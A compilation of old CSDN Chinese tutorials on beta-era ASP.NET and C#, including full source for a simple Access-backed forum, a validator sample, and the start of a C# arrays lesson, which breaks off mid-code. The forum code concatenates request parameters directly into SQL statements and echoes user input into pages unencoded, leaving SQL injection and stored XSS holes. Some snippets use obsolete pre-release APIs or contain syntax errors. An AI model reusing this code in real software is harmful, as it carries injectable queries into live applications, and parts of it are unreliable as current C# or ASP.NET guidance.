    一个程序，速度是一件非常令人渴望的东西。一旦代码开始工作，接下来你就得尽可能的让它运作的快些，再快些，在ASP中你只有尽可能拧干你的代码，以至于不得不将他们移植到一个仅有很少一点性能的部件中。但现在呢，微软将推出的ASP.NET会妥善的解决这一问题.

    兼容性

    ASP.net与ASP兼容，因此没有必要担心你现存的应用程序会在IIS的下一版本中崩溃。ASP.net文件以新的扩展名出现，即.ASPX，因此，你能很容易分辨出新老文件。
在使用ASP.net时有太多的 禁锢，如果你想从ASP.net中获取一些便利，你就得按它的规矩来做，这样会对你的应用成许 作出诸多限制。另一方面，微软也力求使开发人员写更少的代码，所以以就只有在流畅性和连贯性方面做出牺牲。

    ASP.net在管理和书写方面的难度相对来说是增加了。因为在ASP.NET里，有太多的“小事情”需要被考虑到，所以，开发者或者初用者不得不花费不少的时间来想通一个问题：为什么系统这么容易死掉。很明显的，ASP和 ASP.net会成为下一代网络应用软件。虽然花费不少，但ASP.net确实提供了一些非常新的特性；ASP 会力图将费用平衡下来，并且提供一些ASP.net所没有的功能。

    可编译代码

    代码已在要求下被编译了，所以你可以在任何语言下编制ASP.net。现在甚至于VBSCRIPT 和JAVA SCRIPT都被编译了。

    COM 对象

    我们在使用典型的ASP时，都意识到与COM 伴随而来的问题。注册components，重新启动服务器…，都是些让人很感麻烦的事。现在，因为有了新 一代视窗服务系统(NGWS)，你不再需要为这些问题烦心了。你只需简单的复制源文件，在你需要的地方粘贴，它就会正常运作。不用再DLL注册。

    XML配置

    通过NGWS 框架，所有的METABASE和配置信息都存储在XML文件里。这意味着，你再也不需要被IIS糊弄得团团转，甚至去改变设置。事实上，你只需改变从任何一处来的XML文件，并将改变 结果上传到服务器。不需要任何类型的远程PC 控制。


csdn_ASP.NET强大的性能(二)

ASP.NET强大的性能(二)

    Web forms和Web controls

    ASP.net 提供了forms 链结到服务器的功能，因此你能够更简单地处理请求。Web controls也提供了相似的功能，并
向网页开发者提供了相对于HTML controls的更多的功能。

    caching

    当用户不再对服务器提出更多指令时，ASP.net允许对象和输出数据被缓冲，这样会大大提升速度。ASP.net 缓冲系统
非常先进，它可以让你分辨出哪些需要被缓冲，哪些不需要，并且在何时调出缓冲的信息

    可升级性

    在ASP.net中植入了一些非常优秀的可升级性特征，包括通过server维持会话状态，以及多处理器平衡。ASP.net
runtime 同样也监控进程,因此当你把数据弄得一团糟的时候，ASP.net会自动关闭，然后重新启动，同时将旧指令输入到
新的进程中。
ASP.Net提供了一系列的全新的特征，并在现有的基础上作了改进。虽然听起来不错，但也不是没有问题的。如果没有更好
的ADO支持，一切都不会那么的尽善尽美。

    文件管理

    整个．NET体系是构建于NGWS RUNTIME基础上，NGWS RUNTIME废除了我们习惯使用的COM 体系，取而代之的是更为大众
化的runtime,从根本上来讲，runtime与Java虚拟机一样。Runtime 的基本运作方式是中途截取代码，并将它转译为普通机
器语言，以便系统使用，同样还负责ASP.net的页面编译。

    注：如果你对JAVA不太熟悉，从根本上来说，你电脑里的程序将JAVA代码翻译成了机器语言。这些代码被送到不同的
平台，你仅仅需要重做一遍程序，而不是重做全部的程序设计语言。这就是JAVA 所保证的跨平台兼容性。你可以发现这
与.NET 非常类似，例外的是JAVA是跨平台，而。NET是多语言兼容性。
该系统也为你的应用程序在源文件上保留了制表符。如果系统监测到程序被改动了，runtime 则会重新将它们编译，并自
动存储最新编译版本。

    在此，我们可以明显的感受到ASP.net所带来的便利。总之，编译语言，机器代码以及强大的类型变量，比起得到执行
前进行解释的脚本语言要快得多。

    我们禁不住会猜想，我们将为全新的runtime 花费多少？微软保证，从编译 ASP pages上所得到的性能会远远超过在
runtime体系上的费用，但这听起来不太象是个好的解决办法。例如，Java 虚拟机，将JAVA 程序 的运作速度大幅度的降
了下来。我们只有祈求 在这个 runtime里不会出现类似的严重的错误。

    另外，需要提醒的是，编译一个应用程序也需要耗费时间，因此，您系统的第一个用户会发现明显的迟延现象。如果
你经常改变程序（许多ASP的程式员都会这样做），你的用户就会发现性能明显降低。


csdn_用asp.net写的论坛程序

用asp.net写的论坛程序
这是一个用asp.net写的论坛程序，虽然简单但可以运行。

这个程序的编程思想其实还是基本延续了asp的方式，如果让那只大鸟儿看见可能要嘘之以鼻。但实际上这种方式对于asp程序向asp.net的快速移植还是有用的。如果你对这种移植不屑那也没办法，这个贴子就算给asp.net刚入门的小虾们开开眼。

这个例子包含3部分

1）forum.aspx-论坛主页。

2）reply.aspx-当在论坛主页中点击一个贴子时调用，显示贴子详细内容。

3）postmessage.aspx-上贴时调用，将内容保存入数据库

数据库结构 Table - newpost :This table will contain the New Topic posted messages
postid (primary key) The unique id for each new topic.
name The name of the author of the message.
email E-mail address of the author.
subject Subject of the message.
ip IP address of the author.
date Date / Time of the Post
message Message posted.
replies Number of replies to the post (if any)
views Number of times the message has been viewed.

Table - reply :This table will contain the Replies made to the new topics.
replyid (primary key) The unique id for each reply.
name Name of the author.
email E-mail address of the author.
subject Subject of the post
ip IP of the author.
date Date / Time of post.
message Message posted.
postid postid from the "newpost" table for which this message is a reply.

用asp.net写的论坛程序--论坛主页

1) forum.aspx :- The main forum page

<%@ Page Language="C#" Debug="true" %>
<%@ Assembly Name="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System" %>
<html><head>
<title>Welcome to My Forum!</title>
<script language="C#" runat="server" >
//execute this script when the page loads
void Page_Load(Object Src, EventArgs E)
{
//Call the Method to DataBind the DataGrid
Binding() ;
}
//This Method Connects to the Database, and DataBinds the Database to the DataGrid
public void Binding()
{
//String to connect to the database, If your Database is in some other directory then change the path
//To the Database below
string strConn=@"Provider=Microsoft.Jet.OLEDB.4.0 ;Data Source="+Server.MapPath(".\\db\\board.mdb") ;
//Make a Connection to the Database
ADOConnection myConn = new ADOConnection(strConn) ;
//String to select records from the Database. newpost Table
//I have used "ORDER BY postid DESC" since I want to show the latest post on the top
//If you remove this clause then the oldest message will be shown first
string strCom = "SELECT postid ,subject ,name ,replies ,views ,date FROM newpost ORDER BY postid DESC" ;
//Open the Connection, Always remember to Open the connection before doing anything else
myConn.Open();
DataSet myDataSet = new DataSet();
//Create a ADODataSetCommand and a DataSet
ADODataSetCommand myCommand =new ADODataSetCommand(strCom,myConn);
//Fill the DataSet
myCommand.FillDataSet(myDataSet,"newpost") ;
//Connection is closed
myConn.Close();
//Set the DataView of the Table "newpost" contained in the DataSet for the DataGrid
DataGrid1.DataSource = myDataSet.Tables["newpost"].DefaultView ;
//DataBind the DataGrid
DataGrid1.DataBind();
}
//This method is called when the DataGrid is Paged (i.e. when you change from Page 1 to Page 2 etc.. )
public void DataGrid_Updt(Object sender, DataGridPageChangedEventArgs e)
{
//Call the Method to Databind
Binding();
}
//This Method is called when the form is submitted to make a new Post
public void Submit_Click(Object sender, EventArgs e)
{
//proceed only if all the required fields are filled-in
if(Page.IsValid&&name.Text!=""&&subject.Text!=""&&email.Text!=""){
//Get the Current Date and Time
DateTime now = DateTime.Now ;
errmess.Text="" ;
//I am building a custom query which will be used to call the postmessage.aspx page.
//Since it will be a query we have to encode the query into UTF8 format.
//So I get all the fields from the form and encode them into UTF8 format
string req = "name="+ System.Web.HttpUtility.UrlEncodeToString(name.Text, System.Text.Encoding.UTF8);
req+="&&email="+ System.Web.HttpUtility.UrlEncodeToString(email.Text, System.Text.Encoding.UTF8);
req+="&&subject="+ System.Web.HttpUtility.UrlEncodeToString(subject.Text, System.Text.Encoding.UTF8);
//Get the HostAddress of the Author
req+="&&ip="+ System.Web.HttpUtility.UrlEncodeToString(Request.UserHostAddress.ToString(), System.Text.Encoding.UTF8);
req+="&&date="+ System.Web.HttpUtility.UrlEncodeToString(now.ToString(), System.Text.Encoding.UTF8);
req+="&&message="+ System.Web.HttpUtility.UrlEncodeToString(message.Text, System.Text.Encoding.UTF8);
//A 'yes' is used below to tell the postmessage page that this is a new topic post
req+="&&newpost="+ System.Web.HttpUtility.UrlEncodeToString("yes", System.Text.Encoding.UTF8);
//call the postmessage.aspx page and append the query to it.
Page.Navigate("postmessage.aspx?" + req);
}
else
{
errmess.Text="Fill in all the Required Fields before Posting!<br>" ;
}
}
</script>
<LINK href="mystyle.css" type=text/css rel=stylesheet></head>
<body topmargin="0" leftmargin="0" rightmargin="0" marginwidth="0" marginheight="0">
<!-- #Include File="header.inc" -->
<center>
<asp:label id="errmess" text="" style="COLOR:#ff0000" runat="server" />
<asp:Label class=fodark text="<font color=#00000 >Welcome to My Discussion Forum</font>" runat=server />
<br>
<br>
<form method="post" runat="server" ID=Form1>
<%-- The DataGrid settings. Its very interesting how much you can play with it --%>
<asp:DataGrid id=DataGrid1 runat="server" ForeColor="Black"
PagerStyle-Mode="NumericPages"
OnPageIndexChanged="DataGrid_Updt" PageSize="20" AllowPaging="True" width="80%" autogeneratecolumns="False">
<property name="PagerStyle">
<asp:DataGridPagerStyle BackColor="Coral" Mode="NumericPages">
</asp:DataGridPagerStyle>
</property>

<property name="AlternatingItemStyle">
<asp:TableItemStyle BorderColor="#FFC080" BackColor="#FF9966">
</asp:TableItemStyle>
</property>

<property name="FooterStyle">
<asp:TableItemStyle ForeColor="White" BackColor="DarkOrange">
</asp:TableItemStyle>
</property>

<property name="ItemStyle">
<asp:TableItemStyle BackColor="Moccasin">
</asp:TableItemStyle>
</property>

<property name="HeaderStyle">
<asp:TableItemStyle Font-Bold="True" ForeColor="White" BackColor="Coral">
</asp:TableItemStyle>
</property>
<%-- I am setting up the Individual columns myself using Templates --%>
<property name="Columns">
<%-- Manipulate the subject entry so that it contains a link to the reply page --%>
<asp:TemplateColumn HeaderText="Subject" itemstyle-width=50%>
<template name="ItemTemplate" >
<asp:Label runat="server" Text='<%#"<a href=reply.aspx?postid="+DataBinder.Eval(Container, "DataItem.postid")+">"
+DataBinder.Eval(Container, "DataItem.subject")+"</a>" %>' ID=Label2></asp:Label>
</template>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="Author Name" itemstyle-width=20%>
<template name="ItemTemplate">
<asp:Label runat="server" Text='<%# DataBinder.Eval(Container, "DataItem.name") %>' ID=Label3></asp:Label>
</template>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="Replies" itemstyle-width=10%>
<template name="ItemTemplate">
<asp:Label runat="server" width=10% Text='<%# DataBinder.Eval(Container, "DataItem.replies") %>' ID=Label4>
</asp:Label>
</template>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="Views" itemstyle-width=10%>
<template name="ItemTemplate">
<asp:Label runat="server" width=10% Text='<%# DataBinder.Eval(Container, "DataItem.views") %>' ID=Label5>
</asp:Label>
</template>
</asp:TemplateColumn>

<asp:TemplateColumn HeaderText="Date of Post" itemstyle-width=10%>
<template name="ItemTemplate">
<asp:Label runat="server" width=10% Text='
<%# DataBinder.Eval(Container, "DataItem.date").ToString().ToDateTime().ToShortDateString() %>' ID=Label6>
</asp:Label>

</template>
</asp:TemplateColumn>
</property>
</asp:DataGrid>
<br>
<br>
<asp:Label class=fodark text="<font color=#00000 >Post New Topic</font>" runat=server />
<br>
<table border="0" width="80%" align="center">
<tr >
<td class="fohead" colspan=2><b>Post New Topic</b></td>
</tr>
<tr class="folight" >
<td>Name :</td>
<td ><asp:textbox text="" id="name" runat="server" /> <font color=#ff0000>*</font></td>
</tr>
<tr class="folight">
<td>E-Mail :</td>
<td><asp:textbox text="" id="email" runat="server"/> <font color=#ff0000>*</font></td>
</tr>
<tr class="folight">
<td> Subject:</td>
<td><asp:textbox test="" id="subject" width=200 runat="server"/> <font color=#ff0000>*</font>
</td></tr>
<tr class="folight">
<td>Message :</td>
<td>
<asp:TextBox id=message runat="server"
Columns="30" Rows="15" TextMode="MultiLine"></asp:TextBox></td>
</tr>
<tr class=folight>
<td colspan=2>
<asp:Button class=fodark id=write onClick=Submit_Click runat="server" Text="Submit"></asp:Button></td></tr>
</table>
</form>
</center>
<!-- #Include File="footer.inc" -->
</body></html>

用asp.net写的论坛程序--浏览贴子内容及回复

2) reply.aspx : The topic viewing and replying page

<%@ Page Language="C#" EnableSessionState="False" Debug="True" %>
<%@ Import Namespace="System" %>
<%@ Assembly Name="System.Data" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>
<html><head>
<title>Post New Topic.</title>
<%-- These are the imported assemblies and namespaces needed --%>
<script Language="C#" runat="server">
DataSet ds ,rs;
DataRow dr ;
string postid ;
public void Page_Load(object sender , EventArgs e)
{
//Check if the page is Post Back
if(!Page.IsPostBack)
{
//Get the postid from the Query string
postid = Request.Params["postid"] ;
if(postid!=null)
{
//Database connection string. Change the path to the database file if you have some other path where
//you are saving your Database file
string strConn=@"Provider=Microsoft.Jet.OLEDB.4.0 ;Data Source="+Server.MapPath(".\\db\\board.mdb") ;
//Make a connection to the Database
ADOConnection myConn = new ADOConnection(strConn) ;
//string to select the records from the newpost table
string strCon ="SELECT subject, name, email, message ,date FROM newpost WHERE postid="+postid ;
//set a ADODataSetCommand
ADODataSetCommand myCommand =new ADODataSetCommand(strCon,myConn);
ds = new DataSet();
//Don't ever forget to open the Connection
myConn.Open();
//Fill the DataSet
myCommand.FillDataSet(ds,"newpost") ;
//Get the Row at position '0' and store it in a DataRow object
//Why row at position '0' ? Since there can only be one record with the given postid remember !!
//Why put into a DataRow ? Its easy to access data from a DataRow
dr = ds.Tables["newpost"].Rows[0] ;
//Get the "subject" from the DataRow and set it up in the post reply form's subject field
subject.Text="Re:"+dr["subject"].ToString() ;
//Select the replies to the post from the reply table
strCon ="SELECT name , email, subject, message ,date FROM reply WHERE postid="+postid ;
//Make a new ADODataSetCommand and DataSet for the reply table
ADODataSetCommand myCommand2 =new ADODataSetCommand(strCon,myConn);
rs = new DataSet() ;
//fill the DataSet
myCommand2.FillDataSet(rs, "reply") ;
//Code to update the "views" field for the newpost Table
//Select the views field from the table for a given postid
strCon ="SELECT views FROM newpost WHERE postid = "+postid ;
//Make a ADOCommand here since we want a ADODataReader later
ADOCommand vicomm = new ADOCommand(strCon, myConn) ;
ADODataReader reader ;
//execute the statement and create a ADODataReader
vicomm.Execute(out reader) ;
//Read the First record (there can only be one record remember !)
reader.Read() ;
//Get a "Int32" value from the first Column (we have one column in the reader, check the select statement above)
int i = reader.GetInt32(0) ;
//Increase the views count
i++ ;
reader.Close() ;
//Update the newpost table with the new views value
strCon ="UPDATE newpost SET views = "+i+" WHERE (postid= "+postid+")" ;
//since we are using the same ADOCOmmand object for this statement too to set the CommandText property
vicomm.CommandText = strCon ;
//Since this statement will result in no output we use "ExecuteNonQuery()" method
vicomm.ExecuteNonQuery() ;
//close the connection
myConn.Close();
}
}
}
// This method is called when the submit button is clicked
public void Submit_Click(Object sender, EventArgs e)
{
//Get the postid
postid = Request.Params["postid"] ;

//proceed only if all the required fields are filled-in
if(Page.IsValid&&name.Text!=""&&subject.Text!=""&&email.Text!=""){
DateTime now = DateTime.Now ;
errmess.Text="" ;
//We have to call the postmessage.aspx page with a query to post the data to the Database.
//Hence we have to first build the custom query from the Data posted by the user
//also since we are using a query we have to encode the data into UTF8 format
string req = "name="+ System.Web.HttpUtility.UrlEncodeToString(name.Text, System.Text.Encoding.UTF8);
req+="&&email="+ System.Web.HttpUtility.UrlEncodeToString(email.Text, System.Text.Encoding.UTF8);
req+="&&subject="+System.Web.HttpUtility.UrlEncodeToString(subject.Text, System.Text.Encoding.UTF8);
req+="&&ip="+System.Web.HttpUtility.UrlEncodeToString(Request.UserHostAddress.ToString(), System.Text.Encoding.UTF8);
req+="&&date="+ System.Web.HttpUtility.UrlEncodeToString(now.ToString(), System.Text.Encoding.UTF8);
req+="&&message="+ System.Web.HttpUtility.UrlEncodeToString(message.Text, System.Text.Encoding.UTF8);
//Encode "no" to indicate that the post is not a new post but its a reply to a earlier message
req+="&&newpost="+ System.Web.HttpUtility.UrlEncodeToString("no", System.Text.Encoding.UTF8);
req+="&&previd="+ System.Web.HttpUtility.UrlEncodeToString(postid, System.Text.Encoding.UTF8);
//Call the postmessage page with our custom query
Page.Navigate("postmessage.aspx?" + req);
}
else
{
errmess.Text="Fill in all the Required Fields !" ;
}
}
</script>
<LINK href="mystyle.css" type=text/css rel=stylesheet></head>
<body topmargin="0" leftmargin="0" rightmargin="0" marginwidth="0" marginheight="0">
<%-- Include a header file 'header.inc' --%>
<!-- #Include File="header.inc" -->
<br>
<div align=center>
<table border=0 width=80% cellspacing=2>
<tr class=fohead><th width=20%>Author Name</th>
<th width=80%>Message</th></tr>
<%-- Below I am encapsulating the email of the author over the name of the author
so that when you click on the author a e-mail gets sent to him
Also I am geting the DateTime from the DataBase and Displaying the Date and Time separately --%>
<tr class=folight><td rowspan=2 align="center"><%= "<a href=mailto:"+dr["email"]+">"+dr["name"]+"</a>" %><br>
<font size=1><%= dr["date"].ToString().ToDateTime().ToShortDateString() %><br>
<%= dr["date"].ToString().ToDateTime().ToShortTimeString() %></font>
</td>
<td><b>Subject: </b><%=dr["subject"] %></td></tr>
<tr class=folight>
<td><pre><%=dr["message"] %></pre> </td>
</tr>
<%-- Get all the replies to the Original post and show them --%>
<% int no = rs.Tables["reply"].Rows.Count ;
if(no>0)
{
for(int j=0 ;j<no ; j++)
{
DataRow rd = rs.Tables["reply"].Rows[j] ;
%>
<tr class=fodark>
<td align="center"><%="<a href=mailto:"+rd["email"]+">"+rd["name"]+"</a>" %><br>
<font size=1><%= rd["date"].ToString().ToDateTime().ToShortDateString() %><br>
<%= rd["date"].ToString().ToDateTime().ToShortTimeString() %></font>
</td>
<td><pre><%=rd["message"] %></pre> </td>
</tr>
<%
}
}
%>
</table>
</div>
<h3 align="center" class="fodark"><a href=forum.aspx>Click Here</a> to go to back to Forum.
<br>Reply to the Above Post.</h3>
<br>
<asp:label id="errmess" text="" style="COLOR:#ff0000" runat="server" />
<form runat="server">
<table border="0" width="80%" align="center">
<tr >
<td class="fohead" colspan=2><b>Reply to the Post</b></td>
</tr>
<tr class="folight" >
<td>Name :</td>
<td ><asp:textbox text="" id="name" runat="server" /> <font color=#ff0000>*</font></td>
</tr>
<tr class="folight">
<td>E-Mail :</td>
<td><asp:textbox text="" id="email" runat="server"/> <font color=#ff0000>*</font></td>
</tr>
<tr class="folight">
<td> Subject:</td>
<td><asp:textbox test="" id="subject" width=200 runat="server"/> <font color=#ff0000>*</font>
</td></tr>
<tr class="folight">
<td>Message :</td>
<td>
<asp:TextBox id=message runat="server"
Columns="30" Rows="15" TextMode="MultiLine"></asp:TextBox></td>
</tr>
<tr class=folight>
<td colspan=2>
<asp:Button class=fodark id=write onClick=Submit_Click runat="server" Text="Submit"></asp:Button></td></tr>
</table>
</form><br>
<br><!-- #Include File="footer.inc" -->
</body></html>

用asp.net写的论坛程序--上贴保存

3) postmessage.aspx :- The page which saved data to the Database

<%@ Import Namespace="System" %>
<%@ Assembly Name="System.Data" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>
<%@ Page Language="C#" Debug="true" %>
<html>
<head>
<title>Thank You for Posting !</title>
<script language="C#" runat="server" >
//execute this script when the page loads
void Page_Load(Object Src, EventArgs E)
{
//if the page is called from another page
if (!Page.IsPostBack) {
//Get all the Parameters from the Query string
string name = Request.Params["name"] ;
string email = Request.Params["email"] ;
string subject = Request.Params["subject"] ;
string ip = Request.Params["ip"] ;
string date = Request.Params["date" ];
string message = Request.Params["message"] ;
bool newmess =true ;
string previd ="1";
//Check if the post is a New topic or a reply to a new topic
if(Request.Params["newpost"].Equals("no"))
{
//if its a reply then get the postid called as previd here
newmess =false ;
previd = Request.Params["previd"] ;
}
//If the post is a new topic then follow the below routine
if(newmess)
{
//The string for the path to the database , if your database is in some other
directory then edit the path
//of this variable
string strConn=@"Provider=Microsoft.Jet.OLEDB.4.0 ;Data Source=
"+Server.MapPath(".\\db\\board.mdb") ;
//Get a ADOConnection to the database
ADOConnection myConn = new ADOConnection(strConn) ;
//The SQL Select statement
string strCom = "Select postid from newpost" ;
//Create a ADOCommand since we want a ADODataReader later
ADOCommand myCommand =new ADOCommand(strCom,myConn);
//Open the connection
myConn.Open();
ADODataReader reader;
//Execute the command and get the Data into "reader"
myCommand.Execute(out reader) ;
int i=1 ;
//Get the current number of records present in the database.
while(reader.Read())
{
i++ ;
}
reader.Close() ;
//build the SQL statement to insert into the Database
string insertStr =" INSERT INTO newpost VALUES ("
+i +", '"
+name+"', '"
+email+"', '"
+subject+"', '"
+ip+"', '"
+date+"', '"
+message+"',0, 0)" ;
myCommand.CommandText =insertStr ;
//Since the SQL statement does not return any output use "ExecuteNonQuery() method
myCommand.ExecuteNonQuery() ;
//Close the connection
myConn.Close() ;
}
else
{
//If the posted data is a reply to a topic then follow the below procedure
//string for the path to the database, if your database is stored in some other directory then
//edit the path here
string strConn=@"Provider=Microsoft.Jet.OLEDB.4.0 ;Data Source="+
Server.MapPath(".\\db\\board.mdb") ;
ADOConnection myConn = new ADOConnection(strConn) ;
//SQL statement to select the replyid
string strCom = "Select replyid from reply" ;
//create a ADOCommand
ADOCommand myCommand =new ADOCommand(strCom,myConn);
//Open the Connection
myConn.Open();
ADODataReader reader;
//Execute the command and get the Data into "reader"
myCommand.Execute(out reader) ;
int i=1 ;
//Get the current number of records present in the database.
while(reader.Read())
{
i++ ;
}
reader.Close() ;
//Build a statement to insert the values into the reply table
string insertStr =" INSERT INTO reply VALUES ("
+i +", '"
+name+"', '"
+email+"', '"
+subject+"', '"
+ip+"', '"
+date+"', '"
+message+"', "
+previd+")";
myCommand.CommandText =insertStr ;
//ExecuteNonQuery - since the command does not return anything
myCommand.ExecuteNonQuery() ;
//string to get the replies column from the newpost table
string replyno = "SELECT replies FROM newpost WHERE postid ="+previd ;
myCommand.CommandText =replyno ;
//Execute command and get the reader
myCommand.Execute(out reader) ;
//read the first record (remember there can only be one record in the reader since postid is unique)
reader.Read();
//Get the "Int16" value of the number of replies from the replies column in the newpost table
int rep =reader.GetInt16(0) ;
reader.Close() ;
rep++ ;
//SQL statement to update the replies field in the newpost table
string updtStr ="UPDATE newpost SET replies = "+rep
+" WHERE (postid = "+previd+")" ;
myCommand.CommandText = updtStr;
//ExecuteNonQuerry why ?? I guess U should know by now !
myCommand.ExecuteNonQuery();
myConn.Close() ;
}
//get the different Parameters from the query string and store it
//to respective Labels
NameLabel.Text = name;
EmailLabel.Text= email ;
SubjectLabel.Text=subject;
MessageLabel.Text=message ;
}
else
{
//else display an error
errmess.Text="This Page Cannot be called directly. It has to be called from the Form posting page.<br>" ;
}
}
</script>
<LINK href="mystyle.css" type=text/css rel=stylesheet>
</head>
<body topmargin="0" leftmargin="0" rightmargin="0" marginwidth="0" marginheight="0">
<!-- #Include File="header.inc" -->
<center>
<asp:label id="errmess" text="" style="color:#FF0000" runat="server" />
<h2 class="fodark"><b>Thank You , for posting on the Message Board.</b></h2>
<table align=center width="60%" border="0" cellspacing="2" cellpadding="1" >
<tr class="fohead"><td colspan="2">The information You Posted!</td></tr>
<tr class="folight">
<td>Name :</td>
<td><asp:label id="NameLabel" text="" runat="server" /></td>
</tr>
<tr class="folight">
<td>E-Mail :</td>
<td><asp:label id="EmailLabel" text="" runat="server" /></td>
</tr>
<tr class="folight">
<td>Subject :</td>
<td><asp:label id="SubjectLabel" text="" runat="server" /></td>
</tr>
<tr class="folight">
<td>Message :</td>
<td><asp:label id="MessageLabel" text="" runat="server" /></td>
</tr>
</table>
<br>
<h4 class="fodark"><a href="forum.aspx">Click here </a> to go back to the Forum.<br>
<%-- A little work to show the link to return back to the page if, the post was a reply --%>
<% if(Request.Params["previd"]!=null)
{ %>
<a href='reply.aspx?postid=<%=Request.Params["previd"] %>'> Click here </a>to go back
where you came from.
<% } %>
</h4>
</center>
<!-- #Include File="footer.inc" -->
</body>
</html>


csdn_资料验证的asp.net程序

资料验证的asp.net程序
<!-------资料验证：天乐comezxn@sina.com------------>
<!-------比较简单，以前写的，若有纰漏，请跟我联系---------->
<Html>
<Body bgcolor="White">
<H3>Validator(资料验证)控制元件<Hr></H3>

<Form runat="server">
<Blockquote>

Email：<asp:TextBox id="Email" runat="server"/>

<asp:RegularExpressionValidator id="Valid1" runat="server"
ControlToValidate="Email"
ValidationExpression=".{1,}@.{3,}" >
(Email 应含有@号)
</asp:RegularExpressionValidator><p>

您的电话：<asp:TextBox id="Tel" runat="server"/>

<asp:RegularExpressionValidator id="Valid2" runat="server"
ControlToValidate="Tel"
ValidationExpression="\([0-9]{2,3}\)[0-9]{2,4}-[0-9]{4}" >
(区号)您的电话
</asp:RegularExpressionValidator><p>

您的地址：<asp:TextBox Size=60 id="Addr" runat="server"/>
<!--------仿照了王国荣的《asp.net领先研究》的程序------------>
<asp:RegularExpressionValidator id="Valid3" runat="server"
ControlToValidate="Addr"
ValidationExpression="(.{1,}(市|镇|乡).{1,}(路|街|道).{1,}号.{0,})|(.{1,}邮政.{1,}信箱)" >
(必须含有 '市镇乡'、'路街道'、'号' 或 '邮政'、信箱')
</asp:RegularExpressionValidator><p>

<asp:Button id="Button1" Text=" 输入 " runat="server"
OnClick="Button1_Click" />
<asp:Label id="Label1" runat="server"/>

</Blockquote></form>
<Hr></body>
</html>

<script Language="c#" runat="server">
public void Button1_Click (object sender, System.EventArgs e)
{
If(Page.IsValid) {
Label1.Text = "<p><Font Color=Red>资料验证 OK!</Font>"
Button1.Visible = False
}
}
</script>


csdn_SUNWEN教程之----C#进阶 （一）

SUNWEN教程之----C#进阶
（一）
mrfat@china.com

写在前面的话

在写这些文章之前,我对C#一无所知.只从前辈那里听说了一些,说他很像JAVA.因为我这段时间一直在看JAVA,结果什么明堂没看出来(只能怪我太笨：）,其实我想还是没有实践的机会),所以就很想换换口味.其实很早就听说了C#,想看一看这个东东,只是上M$的网站一看,.NET的东东要一百多兆呢!看了就怕,何况全部下载下来,要费我一整张电话卡呢?幸好我一个朋友先把.NET下载下来了,我拿了硬盘就跑过去拷过来了.一个SETUP.EXE,足足有106M之巨.所以,我在此要特别感谢这位朋友阿KEN,没有他的帮助,就没有下面的文章.

写这篇文章的时候,我就有些害怕,怕自己水平不够,错误太多,挨别人骂.在写的过程中,发现还是比较顺利的,因为这些跟原先的JAVA有很多相象的地方.而JAVA,很多前辈都有很深的研究.不过,由于本人水平有限,错误之处在所难免,如果大家发现有什么错误之处,还望指正,在下感激不尽!我的MAIL:mrfat@china.com.小弟先在此谢过了!

以下的文章适用于有一些JAVA/C++编程经验的人,如果有JAVA的编程经验,那就更好了,因为我在里面很多地方把C#与JAVA对比.如果你没有任何的编程序经验,可以到OICQ的主页的社区去找另一系列的C#教程,那个可能更适合你.

还有就是由于以下文章是在闲的时间写的,废话比较多,大家看了不要吐血哟@#$%^&*!好了,下面开始吧!


csdn_SUNWEN教程之----C#进阶 （二）

SUNWEN教程之----C#进阶
（二）
mrfat@china.com

好了,I COME BACK,下面的代码显示了我们如何打印多个参数:

000: // CommandLine\cmdline1.cs
001: using System;
002:
003: public class CommandLine
004: {
005:     public static void Main(string[] args)
006:     {
007:         Console.WriteLine("Number of command line parameters = {0}", args.Length);
008:         for(int i = 0; i < args.Length; i++)
009:         {
010:             Console.WriteLine("Arg[{0}] = [{1}]", i, args[i]);
011:         }
012:     }
013: }

如果你的输入为:

cmdline1 A B C

那么它的输出为:
Number of command line parameters = 3
Arg[0] = [A]
Arg[1] = [B]
Arg[2] = [C]

哈哈,看出了其中的秘密了吧!是的{0}是一个标记,它告诉系统,这里留下了给第0个参数用,在程序中,这第0个参数就是i.因此,打印出来的就是Arg[0],面不是Arg[{0}]了,哈哈!

例二向大家展示了foreach这个语句的用法,其实在ASP中,这个经常用到:

000: // CommandLine\cmdline2.cs
001: using System;
002:
003: public class CommandLine2
004: {
005:     public static void Main(string[] args)
006:     {
007:         Console.WriteLine("Number of command line parameters = {0}", args.Length);
008:         foreach(string s in args)
009:         {
010:             Console.WriteLine(s);
011:         }
012:     }
013: }

很显然,args是一个数组,而且是字符型的.foreach的意思就是把其中的所有元素都循环完.运行得出:

>cmdline2 John Paul Mary
Number of command line parameters = 3
John
Paul
Mary
好了,同志们,休息一下,我要睡觉了!88,下次再见!


csdn_SUNWEN教程之----C#进阶 （三）

SUNWEN教程之----C#进阶
（三）
mrfat@china.com

终于又到一个白天了,起床,伸个懒腰,又坐到了电脑前面.今天我要向大家讲的是C#的数组(Arrays).C#中的数组和其它一些优秀的语言一样,也是从0开始计的,这从我们以前的例子里可以看出来,也就是说,一个数组的第一个元素是a[0],而不是像VB的a(1).虽然是这样,但是你还是要注意一些区别.

在声明一个数组的时候,方括号必须跟在类型后面,而不能跟在变量名后面,如:
int[] table; //不能写成int table[]
这一点显然与JAVA是不同的,在JAVA中这样是可以的.

还有就是在C#中你可以不指定数组的大小,这与C语言是不一样的.这使得你可以指定任意长度的数组,如下:
int[] numbers; // 它的长度是任意的
当然,你也可以指定它的大小:
int[10] numbers;//指定了一个长度为10的数组.

在C#中,支持的数组包括:单维数组,多维数组和多重数组.它们的声明方法如下:
单维数组:
int[] numbers;
多维数组:
string[,] names;
多重数组:
byte[][] scores;

声明一个数组并不代表已经建立了它.在C#中,所有的数组元素都是对象(倒!怎么跟JAVA说得一样&*%$#@),所以在建立它之前,首先要将它实例化:
单维数组:
int[] numbers = new int[5];
多维数组:
string[,] names = new string[5,4];
多重数组:

byte[][] scores = new byte[5][];
for (int x = 0; x < scores.Length; x++)
{
   scores[x] = new byte[4];
}
呵呵,这有点奇怪吧,先不用理它,以后再说.

我们同样可以建立更大的数组,比如一个三维数组:
int[,,] buttons = new int[4,5,3];

我们甚至可以混合多维数组和多重数组,下面的例子说明了这些:
int[][,,][,] numbers;

下面的例子展示了以上所有构建数组的方法:

000: // Arrays\arrays.cs
001: using System;
002: class DeclareArraysSample
003: {
